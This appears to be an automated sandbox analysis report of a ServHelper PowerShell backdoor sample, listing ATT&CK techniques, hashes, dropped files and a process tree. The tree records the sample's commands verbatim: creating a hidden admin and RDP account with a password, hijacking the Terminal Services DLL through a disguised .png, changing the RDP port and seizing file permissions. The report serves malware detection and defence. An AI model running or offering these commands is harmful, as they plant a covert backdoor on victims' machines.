servhelper | ed41bd0246b8f3ff6ed065d29c2dd8507d106fb5186e0ceb0bebc6339e5375b8

Analysis

max time kernel
121s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21-09-2024 00:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

eeb519eaefb64bc433463231d840bf14_JaffaCakes118.ps1
Size

3.0MB
MD5

eeb519eaefb64bc433463231d840bf14
SHA1

5139f70546eabb86a7d2ba5529037d8ee28b7e3d
SHA256

ed41bd0246b8f3ff6ed065d29c2dd8507d106fb5186e0ceb0bebc6339e5375b8
SHA512

ed60dfc4a3d0772a9610e1e457a1bc60101f12c54d9c2cd772e23a242852e4ffb5b489c722b958662309bc2c4d047d6566ab92383700ee9b785d22cb1e246254
SSDEEP

49152:l6LEUa87XCQc/UKPJ6F+j7zH6FygD35+rgo2Oo1q:B

Score

10^/10

servhelper backdoor defense_evasion discovery execution exploit lateral_movement persistence trojan upx

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs
Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.
lateral_movement

RDP Hijacking
T1563.002

Processes:

net1.execmd.exenet.exenet1.execmd.exenet.exe

pid process

4596 net1.exe
4652 cmd.exe
916 net.exe
3472 net1.exe
4840 cmd.exe
3648 net.exe
Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
defense_evasion

Network Share Connection Removal
T1070.005

Processes:

net.exenet1.execmd.exe

pid process

2224 net.exe
2240 net1.exe
4408 cmd.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exe

pid process

4484 icacls.exe
404 icacls.exe
4560 icacls.exe
1236 icacls.exe
3396 icacls.exe
4540 icacls.exe
3164 icacls.exe
4912 takeown.exe

pid	process
4596	net1.exe
4652	cmd.exe
916	net.exe
3472	net1.exe
4840	cmd.exe
3648	net.exe

pid	process
2224	net.exe
2240	net1.exe
4408	cmd.exe

pid	process
4484	icacls.exe
404	icacls.exe
4560	icacls.exe
1236	icacls.exe
3396	icacls.exe
4540	icacls.exe
3164	icacls.exe
4912	takeown.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

4076 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

pid process

1988
1988
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exe

pid process

1236 icacls.exe
3396 icacls.exe
4540 icacls.exe
3164 icacls.exe
4912 takeown.exe
4484 icacls.exe
404 icacls.exe
4560 icacls.exe

pid	process
1988
1988

pid	process
1236	icacls.exe
3396	icacls.exe
4540	icacls.exe
3164	icacls.exe
4912	takeown.exe
4484	icacls.exe
404	icacls.exe
4560	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\Branding\mediasrv.png	upx
C:\Windows\Branding\mediasvc.png	upx

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 8 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

4076 powershell.exe
2600 powershell.exe
1964 powershell.exe
864 powershell.exe
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3376 reg.exe
Runs net.exe

pid	process
3376	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4076	powershell.exe
4076	powershell.exe
2600	powershell.exe
2600	powershell.exe
1964	powershell.exe
1964	powershell.exe
864	powershell.exe
864	powershell.exe
4076	powershell.exe
4076	powershell.exe
4076	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

660
660

pid	process
660
660

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exe

description	pid	process
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeRestorePrivilege	404	icacls.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

powershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.exe

description	pid	process	target process
PID 4076 wrote to memory of 4956	4076	powershell.exe	csc.exe
PID 4076 wrote to memory of 4956	4076	powershell.exe	csc.exe
PID 4956 wrote to memory of 1068	4956	csc.exe	cvtres.exe
PID 4956 wrote to memory of 1068	4956	csc.exe	cvtres.exe
PID 4076 wrote to memory of 2600	4076	powershell.exe	powershell.exe
PID 4076 wrote to memory of 2600	4076	powershell.exe	powershell.exe
PID 4076 wrote to memory of 1964	4076	powershell.exe	powershell.exe
PID 4076 wrote to memory of 1964	4076	powershell.exe	powershell.exe
PID 4076 wrote to memory of 864	4076	powershell.exe	powershell.exe
PID 4076 wrote to memory of 864	4076	powershell.exe	powershell.exe
PID 4076 wrote to memory of 4912	4076	powershell.exe	takeown.exe
PID 4076 wrote to memory of 4912	4076	powershell.exe	takeown.exe
PID 4076 wrote to memory of 4484	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 4484	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 404	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 404	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 4560	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 4560	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 1236	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 1236	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 3396	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 3396	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 4540	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 4540	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 3164	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 3164	4076	powershell.exe	icacls.exe
PID 4076 wrote to memory of 1896	4076	powershell.exe	reg.exe
PID 4076 wrote to memory of 1896	4076	powershell.exe	reg.exe
PID 4076 wrote to memory of 3376	4076	powershell.exe	reg.exe
PID 4076 wrote to memory of 3376	4076	powershell.exe	reg.exe
PID 4076 wrote to memory of 3708	4076	powershell.exe	reg.exe
PID 4076 wrote to memory of 3708	4076	powershell.exe	reg.exe
PID 4076 wrote to memory of 4284	4076	powershell.exe	net.exe
PID 4076 wrote to memory of 4284	4076	powershell.exe	net.exe
PID 4284 wrote to memory of 2028	4284	net.exe	net1.exe
PID 4284 wrote to memory of 2028	4284	net.exe	net1.exe
PID 4076 wrote to memory of 3048	4076	powershell.exe	cmd.exe
PID 4076 wrote to memory of 3048	4076	powershell.exe	cmd.exe
PID 3048 wrote to memory of 2488	3048	cmd.exe	cmd.exe
PID 3048 wrote to memory of 2488	3048	cmd.exe	cmd.exe
PID 2488 wrote to memory of 384	2488	cmd.exe	net.exe
PID 2488 wrote to memory of 384	2488	cmd.exe	net.exe
PID 384 wrote to memory of 3668	384	net.exe	net1.exe
PID 384 wrote to memory of 3668	384	net.exe	net1.exe
PID 4076 wrote to memory of 4604	4076	powershell.exe	cmd.exe
PID 4076 wrote to memory of 4604	4076	powershell.exe	cmd.exe
PID 4604 wrote to memory of 3236	4604	cmd.exe	cmd.exe
PID 4604 wrote to memory of 3236	4604	cmd.exe	cmd.exe
PID 3236 wrote to memory of 3480	3236	cmd.exe	net.exe
PID 3236 wrote to memory of 3480	3236	cmd.exe	net.exe
PID 3480 wrote to memory of 2216	3480	net.exe	net1.exe
PID 3480 wrote to memory of 2216	3480	net.exe	net1.exe
PID 4408 wrote to memory of 2224	4408	cmd.exe	net.exe
PID 4408 wrote to memory of 2224	4408	cmd.exe	net.exe
PID 2224 wrote to memory of 2240	2224	net.exe	net1.exe
PID 2224 wrote to memory of 2240	2224	net.exe	net1.exe
PID 4152 wrote to memory of 5060	4152	cmd.exe	net.exe
PID 4152 wrote to memory of 5060	4152	cmd.exe	net.exe
PID 5060 wrote to memory of 4180	5060	net.exe	net1.exe
PID 5060 wrote to memory of 4180	5060	net.exe	net1.exe
PID 4840 wrote to memory of 3648	4840	cmd.exe	net.exe
PID 4840 wrote to memory of 3648	4840	cmd.exe	net.exe
PID 3648 wrote to memory of 4596	3648	net.exe	net1.exe
PID 3648 wrote to memory of 4596	3648	net.exe	net1.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\eeb519eaefb64bc433463231d840bf14_JaffaCakes118.ps1
1⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\izma0pym\izma0pym.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES805B.tmp" "c:\Users\Admin\AppData\Local\Temp\izma0pym\CSCF3EED24F13704FB39FDCD6CD9B9E7428.TMP"
    3⤵
    PID:1068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:864
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4912
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4484
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:404
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4560
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1236
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3396
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4540
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3164
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
  2⤵
  PID:1896
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
  2⤵
  - Server Software Component: Terminal Services DLL
  - Modifies registry key
  PID:3376
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
  2⤵
  PID:3708
- C:\Windows\system32\net.exe
  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:2028
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\cmd.exe
    cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\system32\net.exe
      net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:384
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        5⤵
        
        PID:3668
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Windows\system32\cmd.exe
    cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3236
  - - C:\Windows\system32\net.exe
      net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3480
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        5⤵
        
        PID:2216
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
  2⤵
  PID:2480
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
  2⤵
  PID:3436

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Indicator Removal: Network Share Connection Removal
- Suspicious use of WriteProcessMemory
PID:4408
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    - Indicator Removal: Network Share Connection Removal
    PID:2240

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc uADdk8A5 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc uADdk8A5 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc uADdk8A5 /add
    3⤵
    PID:4180

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Remote Service Session Hijacking: RDP Hijacking
- Suspicious use of WriteProcessMemory
PID:4840
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:4596

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" ZEUYFSYD$ /ADD
1⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:4652
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" ZEUYFSYD$ /ADD
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  PID:916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" ZEUYFSYD$ /ADD
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:3472

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:4640
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1648
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1596

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc uADdk8A5
1⤵
PID:4056
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc uADdk8A5
  2⤵
  PID:3448
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc uADdk8A5
    3⤵
    PID:2968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES805B.tmp

Filesize
1KB

MD5
642db8f9b0151d2920fcb4de4c4d46d0

SHA1
246a8a5dec4cf7ca1b501e49f15bcdf2588fe6ac

SHA256
106bc43b061ae02e7f22332aff6db71206cf2545d7798c325d23686c9b9356fd

SHA512
003b7a25d383e0d83207eebc733fe774252f714e7b27d39074e2912ed6fad97e718da2bd83994e9866f23e0b28435511d3429de2d22116b7d4dc3c8c08767fa9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdiytuwr.1bk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\izma0pym\izma0pym.dll

Filesize
3KB

MD5
9c62cba5c0a7c4397301ac96b7b0244e

SHA1
0a0aa39a9471afab4791a3b5abe93bda5f7314ac

SHA256
8c36b348af8c6feaf010a159efc3e8159e1226a3848e1a08eab88d37737f4c68

SHA512
315a6fbc6da5dbc1f0659933e3c7262e7e5d3943cd8d5fb13aac7057dd0e78fa403c3d3b35411c4653cd9da3ad0188752a92b463599b402b5769c2bb32cfe8c9

Download Submit
C:\Windows\Branding\mediasrv.png

Filesize
55KB

MD5
1ab040e0018dfe00c298cff9650b4036

SHA1
efbf4905aa5e3165c61b06a4ea15049802873e18

SHA256
fc84cef1220db7f3605dc8eb75a4737ceb5a188dc96c47f62c4522206729982f

SHA512
bc261e2901319015bc5c48bef58d83d2d960b89185d49f771646ec01924d93cfb28580810fa767d05d713164e9831011d01a1220d4fac41edb6bcb3f7c0b77e0

Download Submit
C:\Windows\Branding\mediasvc.png

Filesize
945KB

MD5
3125db7cf3000e6336743773ccadb45e

SHA1
af10135f9b4143997b8d1c4ccf55dee64d745061

SHA256
6dd90fbc06b03d73a9bde2a343540993fefb7b7123483922defc0272cf6ee05c

SHA512
0b686203b54f8fe46e2cee7d3b3c063b582386a04fd79bc5ce5a3b5582018f15db3d405e70a9ca055ab88f8aecebc3902a6d49a80dbb2ded372310d1a80d9210

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\izma0pym\CSCF3EED24F13704FB39FDCD6CD9B9E7428.TMP

Filesize
652B

MD5
67d213593daeea9e1f46807a98ed34af

SHA1
b702b5d5fddb6c474519acba4456863bbdad1f86

SHA256
2704ad6d93b3d142d365ae60f3b8be7e35bd3c89063b36a042f39c4816864ab2

SHA512
a46c1a936bf0aa9dbb8e01b7adc98c34b5744a106cfc999fa8bbcd341cba747ed7c4e2d2994e1c88dee365c22745500d470942b068b847788d184859a110bac6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\izma0pym\izma0pym.0.cs

Filesize
504B

MD5
8e55cb0ca998472ab6d3e295e0c4dd50

SHA1
407d07a29b89fc3afc246c0680d5857e3f51019d

SHA256
63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685

SHA512
c51982ecdad9a366544cfb68a52808f6a54ed45c1e5b384c0ac5354fe713c18a16c90ee57e0d018caad02f7f293677c62f4c8a9a51bdea143f3afe593172bd28

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\izma0pym\izma0pym.cmdline

Filesize
369B

MD5
f317f76d0421440319d2175ca59df567

SHA1
4864f0afd294e929d884be30daacc866b4e75b5c

SHA256
dbcd047ee31f399aae194912035e764dbbf266dcab84677f28ae80373826c65d

SHA512
11fae7f6f3677219c503739d2ea89542b00a8f75e24f8a0f6d7385204ede59e5399af730f9c04d14841004f8ce06c2c8fdc55a1e79f6ef7e1558d73ab4a0d5da

Download Submit
memory/2600-40-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/2600-65-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/2600-42-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/2600-41-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-30-0x0000029BBD680000-0x0000029BBD88A000-memory.dmp

Filesize
2.0MB

Download
memory/4076-64-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-29-0x0000029BBD2F0000-0x0000029BBD466000-memory.dmp

Filesize
1.5MB

Download
memory/4076-28-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-61-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-62-0x00007FFE03DA3000-0x00007FFE03DA5000-memory.dmp

Filesize
8KB

Download
memory/4076-63-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-0-0x00007FFE03DA3000-0x00007FFE03DA5000-memory.dmp

Filesize
8KB

Download
memory/4076-27-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-66-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-67-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-25-0x0000029B9C560000-0x0000029B9C568000-memory.dmp

Filesize
32KB

Download
memory/4076-12-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-11-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download
memory/4076-10-0x0000029B9C620000-0x0000029B9C642000-memory.dmp

Filesize
136KB

Download
memory/4076-90-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

Filesize
10.8MB

Download